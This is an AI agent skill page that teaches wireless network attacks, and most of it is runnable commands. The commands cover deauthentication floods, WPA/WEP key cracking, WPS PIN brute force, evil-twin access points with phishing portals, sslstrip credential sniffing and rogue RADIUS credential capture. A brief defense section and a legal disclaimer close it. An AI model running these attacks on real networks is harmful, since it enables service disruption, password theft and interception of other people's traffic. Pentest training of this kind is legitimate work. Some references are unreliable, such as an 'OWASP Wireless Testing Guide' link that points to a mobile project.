# Wireless Security Wifi Pentest

> Wireless security penetration testing with aircrack-ng, WEP/WPA/WPA2/WPA3 attacks, and 802.11 exploitation

- Skill: `aradotso-security-skills/wireless-security-wifi-pentest` (Agent Skill)
- Install (CLI): `npx skillmds@latest add aradotso-security-skills/wireless-security-wifi-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aradotso-security-skills/wireless-security-wifi-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: aradotso (https://skillmd.com/u/aradotso-security-skills)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/aradotso-security-skills/wireless-security-wifi-pentest

---


# Wireless Security & WiFi Penetration Testing

> Skill by [ara.so](https://ara.so) — Security Skills collection.

Expert-level wireless security penetration testing using aircrack-ng suite, handshake capture, WEP/WPA/WPA2/WPA3 cracking, rogue AP deployment, and 802.11 exploitation techniques. This skill covers reconnaissance, attack execution, and defensive mitigation for wireless networks.

## What This Skill Covers

- **802.11 fundamentals**: Frame types, encryption protocols (WEP, WPA, WPA2, WPA3), authentication mechanisms
- **Adapter configuration**: Monitor mode setup, packet injection testing, chipset compatibility
- **Reconnaissance**: Network discovery, hidden SSID enumeration, client enumeration, traffic analysis
- **WEP attacks**: IVS capture, PTW attack, fragmentation, Chop-Chop, Caffe Latte
- **WPA/WPA2 attacks**: Handshake capture, deauthentication, PMKID extraction, dictionary/GPU cracking
- **WPA3 exploitation**: Downgrade attacks, Dragonblood vulnerabilities
- **Rogue AP attacks**: Evil twin deployment, captive portals, wireless MITM
- **Enterprise WPA**: EAP/RADIUS assessment, certificate validation bypass
- **Detection & defense**: WIDS configuration, management frame protection, hardening recommendations

## Prerequisites

### Hardware Requirements

- **Injection-capable wireless adapter** (Atheros AR9271 or Ralink RT3070/RT5372 chipset)
  - TP-Link TL-WN722N v1 (Atheros AR9271) ✅
  - Alfa AWUS036NHA (Atheros AR9271) ✅
  - Panda PAU05 (Ralink RT5372) ✅
  - **Avoid**: TL-WN722N v2/v3 (Realtek, no injection support)
- **Test access point** you own and control
- **Client device** for handshake generation
- **Kali Linux** (bare-metal or VM with USB passthrough)

### Software Stack

```bash
# Verify Kali includes core tools (pre-installed)
which aircrack-ng airodump-ng aireplay-ng airbase-ng

# Install additional tools
sudo apt update
sudo apt install -y \
  hashcat hcxdumptool hcxtools \
  reaver bully wash \
  hostapd dnsmasq \
  kismet wireshark-qt \
  bettercap wifiphisher
```

## Adapter Setup & Monitor Mode

### Identify Wireless Interface

```bash
# List wireless interfaces
iwconfig
ip link show

# Check interface details
iw dev

# Verify chipset (Atheros/Ralink preferred)
lsusb
lspci | grep -i wireless
```

### Enable Monitor Mode

```bash
# Method 1: Using airmon-ng (recommended)
sudo airmon-ng check kill  # Kill interfering processes
sudo airmon-ng start wlan0  # Creates wlan0mon

# Method 2: Manual setup
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

# Verify monitor mode
iwconfig wlan0mon  # Should show "Mode:Monitor"
```

### Test Packet Injection

```bash
# Critical test before attacks
sudo aireplay-ng --test wlan0mon

# Expected output:
# Injection is working!
# Found X APs
# Trying broadcast probe requests...
# Injection is working!

# Test against specific AP
sudo aireplay-ng --test -a 00:11:22:33:44:55 wlan0mon
```

### Set Regulatory Domain & Channel

```bash
# Check current regulatory domain
iw reg get

# Set domain (affects power/channels)
sudo iw reg set US  # or GB, DE, etc.

# Set specific channel
sudo iw dev wlan0mon set channel 6

# Set frequency (alternative)
sudo iw dev wlan0mon set freq 2437  # Channel 6 = 2437 MHz
```

## Reconnaissance & Network Discovery

### Basic Network Scan

```bash
# Scan all channels, all encryption types
sudo airodump-ng wlan0mon

# Scan specific channel
sudo airodump-ng -c 6 wlan0mon

# Scan specific band
sudo airodump-ng --band a wlan0mon  # 5 GHz only
sudo airodump-ng --band bg wlan0mon  # 2.4 GHz only

# Save to file
sudo airodump-ng -w scan_output --output-format pcap,csv wlan0mon
```

### Target Specific Network

```bash
# Focus on single BSSID
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w target wlan0mon

# Show only clients (stations)
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 --showack wlan0mon
```

### Hidden SSID Discovery

```bash
# Passive: Wait for client probe/association
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 wlan0mon

# Active: Deauth client to force reassociation (reveals SSID)
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 wlan0mon
```

### Client Enumeration with Kismet

```bash
# Start Kismet server
sudo kismet -c wlan0mon

# Web UI: http://localhost:2501
# First run: create admin user

# CLI query connected clients
kismet_client --list-clients --server localhost:2501
```

## WPA/WPA2 Handshake Capture

### Capture 4-Way Handshake

```bash
# Terminal 1: Start capture on target channel
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon

# Terminal 2: Deauth client to force reauthentication
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
# -a = AP BSSID
# -c = Client MAC (optional, omit to deauth all clients)
# 10 = number of deauth packets

# Look for "WPA handshake: 00:11:22:33:44:55" in airodump-ng output
```

### Verify Handshake Capture

```bash
# Check for valid handshake in capture file
sudo aircrack-ng capture-01.cap

# Output should show:
# 1 handshake

# Alternative verification with tshark
tshark -r capture-01.cap -Y "eapol" | grep -i handshake
```

### Convert Handshake for Hashcat

```bash
# Extract handshake to hashcat format
sudo aircrack-ng -J output capture-01.cap
# Creates output.hccapx (hashcat 3.6+)

# Modern method with hcxpcapngtool (hashcat 6.0+)
hcxpcapngtool -o output.22000 capture-01.cap
# Creates output.22000 (WPA*01/02 hash format)
```

## PMKID Attack (Clientless WPA/WPA2)

### Capture PMKID

```bash
# Modern method with hcxdumptool (no deauth needed)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1

# Let run for 2-5 minutes, Ctrl+C to stop

# Convert to hashcat format
hcxpcapngtool -o pmkid.22000 pmkid.pcapng

# Verify PMKID present
grep -c "22000" pmkid.22000
```

## WPA/WPA2 Cracking

### Dictionary Attack with Aircrack-ng

```bash
# Crack using wordlist
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# Specify BSSID if multiple networks in capture
sudo aircrack-ng -w wordlist.txt -b 00:11:22:33:44:55 capture-01.cap

# Show cracking progress
# KEY FOUND! [ password123 ]
```

### GPU Cracking with Hashcat

```bash
# WPA/WPA2 handshake (mode 22000)
hashcat -m 22000 -a 0 output.22000 /usr/share/wordlists/rockyou.txt

# PMKID (mode 22000)
hashcat -m 22000 pmkid.22000 wordlist.txt

# With rules for mutations
hashcat -m 22000 -a 0 output.22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# Mask attack (brute-force patterns)
hashcat -m 22000 -a 3 output.22000 ?d?d?d?d?d?d?d?d
# ?d = digit, ?l = lowercase, ?u = uppercase, ?s = special

# Show cracked passwords
hashcat -m 22000 output.22000 --show
```

### Precomputed Rainbow Tables (Cowpatty)

```bash
# Generate rainbow table for SSID
genpmk -f wordlist.txt -d pmk_database.db -s "TargetSSID"

# Crack using precomputed table (instant if password in table)
cowpatty -d pmk_database.db -r capture-01.cap -s "TargetSSID"
```

## WEP Cracking

### Passive IVS Collection (PTW Attack)

```bash
# Capture IVs on busy network
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w wep_capture wlan0mon

# Wait for 40,000+ IVs (Data column in airodump)
# Then crack:
sudo aircrack-ng wep_capture-01.cap

# KEY FOUND! [ XX:XX:XX:XX:XX ] (ASCII: "wepkey")
```

### Active ARP Replay Attack

```bash
# Terminal 1: Capture
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w wep_arp wlan0mon

# Terminal 2: Fake authentication
sudo aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon

# Terminal 3: Wait for ARP packet, then replay
sudo aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon

# IVs accumulate rapidly (1000+/sec)
# Once 40K+ IVs collected, crack as above
```

### Fragmentation Attack (No Clients)

```bash
# Fake auth
sudo aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon

# Obtain keystream with fragmentation
sudo aireplay-ng --fragment -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon

# Use keystream to forge ARP packet
sudo packetforge-ng --arp -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -k 192.168.1.1 -l 192.168.1.2 -y fragment-*.xor -w arp_packet

# Inject forged packet
sudo aireplay-ng --interactive -r arp_packet wlan0mon
```

## Deauthentication & DoS Attacks

### Deauth Single Client

```bash
# Targeted deauth
sudo aireplay-ng --deauth 0 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
# 0 = infinite deauth packets (Ctrl+C to stop)
```

### Deauth All Clients (Network DoS)

```bash
# Broadcast deauth (affects all clients)
sudo aireplay-ng --deauth 0 -a 00:11:22:33:44:55 wlan0mon

# With reason code
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 --reason 7 wlan0mon
```

### MDK4 Beacon Flood

```bash
# Flood with fake APs (WLAN DoS)
sudo mdk4 wlan0mon b -a -m

# Deauth flood
sudo mdk4 wlan0mon d -b /path/to/blacklist.txt
```

## Evil Twin & Rogue AP Attacks

### Basic Evil Twin with Hostapd

```bash
# Create hostapd config
cat > evil_twin.conf << EOF
interface=wlan0
driver=nl80211
ssid=TargetSSID
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=12345678
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF

# Start evil twin AP
sudo hostapd evil_twin.conf

# In another terminal, assign IP and run DHCP
sudo ip addr add 192.168.1.1/24 dev wlan0
sudo dnsmasq -C /dev/null -kd -F 192.168.1.10,192.168.1.100 -i wlan0 --bind-dynamic
```

### Wifiphisher Automated Evil Twin

```bash
# Automatic evil twin + phishing portal
sudo wifiphisher -aI wlan0mon -eI eth0 -p firmware-upgrade

# Common phishing scenarios:
# -p firmware-upgrade
# -p oauth-login
# -p browser-plugin-update
```

### Capture Credentials with Bettercap

```bash
# Start bettercap
sudo bettercap -iface wlan0

# In bettercap console:
> set wifi.interface wlan0mon
> wifi.recon on
> wifi.ap.ssid "TargetSSID"
> wifi.ap.bssid 00:11:22:33:44:55
> wifi.ap.channel 6
> set http.proxy.sslstrip true
> set net.sniff.verbose true
> http.proxy on
> net.sniff on

# Captures credentials, cookies, traffic
```

## WPS Attacks

### WPS PIN Brute Force with Reaver

```bash
# Check WPS enabled
sudo wash -i wlan0mon

# Reaver attack
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv

# With delay to avoid rate limiting
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv -d 5 -T 0.5 -N

# Pixie Dust attack (offline, fast)
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv -K
```

### Bully WPS Attack

```bash
# Standard attack
sudo bully wlan0mon -b 00:11:22:33:44:55 -c 6

# Pixie Dust
sudo bully wlan0mon -b 00:11:22:33:44:55 -d -v 3
```

## Enterprise WPA (EAP/RADIUS) Assessment

### Enumerate EAP Methods

```bash
# Use eapmd5pass or EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
cd eaphammer
./eaphammer --certs --eap-spray

# Identify EAP type in captured traffic
tshark -r capture.pcap -Y "eap" -T fields -e eap.type | sort -u
```

### Certificate Validation Bypass

```bash
# Rogue RADIUS with EAPHammer
sudo ./eaphammer \
  --interface wlan0 \
  --essid "EnterpriseSSID" \
  --creds \
  --auth wpa-eap

# Captures credentials when clients ignore cert warnings
```

## WPA3 & Advanced Attacks

### WPA3 Downgrade Attack

```bash
# Force WPA3 AP to WPA2 transition mode
sudo mdk4 wlan0mon d -a 00:11:22:33:44:55

# Or use hostapd-wpe with transition mode disabled
```

### Dragonblood (CVE-2019-13377)

```bash
# Test for Dragonblood vulnerability
git clone https://github.com/vanhoefm/dragonslayer.git
cd dragonslayer
./dragonslayer.py --test wlan0mon --bssid 00:11:22:33:44:55
```

## Traffic Analysis & MITM

### Capture & Decrypt WPA Traffic

```bash
# Capture traffic
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w traffic wlan0mon

# After obtaining PSK, decrypt in Wireshark:
# Edit → Preferences → Protocols → IEEE 802.11
# Enable decryption, add key:
# wpa-pwd:password123:SSID
```

### SSL Strip & Traffic Sniffing

```bash
# Route traffic through attacker (on rogue AP)
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# SSL strip with sslstrip
sudo sslstrip -l 8080
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

# View captured credentials
tail -f /var/log/sslstrip.log
```

## Detection & Defense

### Management Frame Protection (802.11w)

```bash
# Enable in hostapd.conf
ieee80211w=2  # Required
# Protects against deauth/disassociation attacks
```

### Wireless IDS with Kismet

```bash
# Configure alerts in kismet.conf
alert=DEAUTHFLOOD,5/min,Deauthentication DoS
alert=DISCONFLOOD,5/min,Disassociation DoS
alert=BSSTIMESTAMP,10/min,Evil Twin Detected

# Monitor for rogue APs
sudo kismet -c wlan0mon --daemonize
```

## Common Workflows

### Full WPA2 Crack Workflow

```bash
# 1. Monitor mode
sudo airmon-ng start wlan0

# 2. Scan for targets
sudo airodump-ng wlan0mon
# Note BSSID, channel, ESSID

# 3. Capture handshake
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon &
sleep 5
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon

# 4. Verify handshake
sudo aircrack-ng capture-01.cap

# 5. Crack
hashcat -m 22000 -a 0 capture.22000 /usr/share/wordlists/rockyou.txt

# 6. Cleanup
sudo airmon-ng stop wlan0mon
```

### Evil Twin Credential Harvest

```bash
# 1. Deauth clients from real AP
sudo aireplay-ng --deauth 0 -a 00:11:22:33:44:55 wlan0mon &

# 2. Start evil twin with same SSID
sudo wifiphisher -aI wlan0mon -eI eth0 -p oauth-login

# 3. Monitor for captured credentials
# Wifiphisher displays creds in real-time

# 4. Stop attack
# Ctrl+C, review logs in /root/.wifiphisher/
```

## Troubleshooting

### "Injection Failed" Errors

```bash
# 1. Kill interfering processes
sudo airmon-ng check kill

# 2. Reset adapter
sudo ip link set wlan0 down
sudo ip link set wlan0 up
sudo airmon-ng start wlan0

# 3. Verify injection again
sudo aireplay-ng --test wlan0mon
```

### No Handshake Captured

```bash
# Ensure client is connected
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 wlan0mon
# Check STATION column for active clients

# Increase deauth count
sudo aireplay-ng --deauth 50 -a 00:11:22:33:44:55 wlan0mon

# Try PMKID attack instead (no clients needed)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
```

### Hashcat Not Using GPU

```bash
# Check GPU detected
hashcat -I

# Install NVIDIA drivers (if needed)
sudo apt install -y nvidia-driver nvidia-cuda-toolkit

# AMD ROCm for AMD GPUs
sudo apt install -y rocm-opencl-runtime

# Force GPU device
hashcat -m 22000 -D 2 hash.22000 wordlist.txt
# -D 1 = CPU, -D 2 = GPU
```

### "Channel -1" Error

```bash
# Explicitly set channel before starting airodump
sudo iw dev wlan0mon set channel 6

# Or in airodump command
sudo airodump-ng -c 6 wlan0mon
```

## Legal & Ethical Considerations

⚠️ **WARNING**: All techniques in this skill are for **authorized testing only**.

- Test **only** networks you own or have **explicit written permission** to assess
- Wireless attacks (deauth, jamming, rogue APs) are **illegal** under:
  - US: Computer Fraud & Abuse Act (CFAA), FCC regulations
  - EU: GDPR, national cybercrime laws
  - UK: Computer Misuse Act
- Practice in **isolated RF lab** with controlled equipment
- Use proper **engagement documentation** (scope, authorization, ROE)
- Report vulnerabilities responsibly following coordinated disclosure

## Additional Resources

- **OffSec OSWP**: https://www.offensive-security.com/wifu-oswp/
- **aircrack-ng documentation**: https://www.aircrack-ng.org/documentation.html
- **Hashcat wiki**: https://hashcat.net/wiki/
- **Wireless Arsenal**: https://github.com/0x90/wifi-arsenal
- **OWASP Wireless Testing Guide**: https://owasp.org/www-project-mobile-top-10/

---

**Environment Variables Used**:
- None (all commands use direct system paths or user-provided wordlists)

**Key Files**:
- `/usr/share/wordlists/rockyou.txt` - Default Kali wordlist
- `/usr/share/hashcat/rules/` - Hashcat rule sets
- `capture-01.cap` - Airodump capture files (user-generated)
- `*.22000` - Hashcat WPA hash format (user-generated)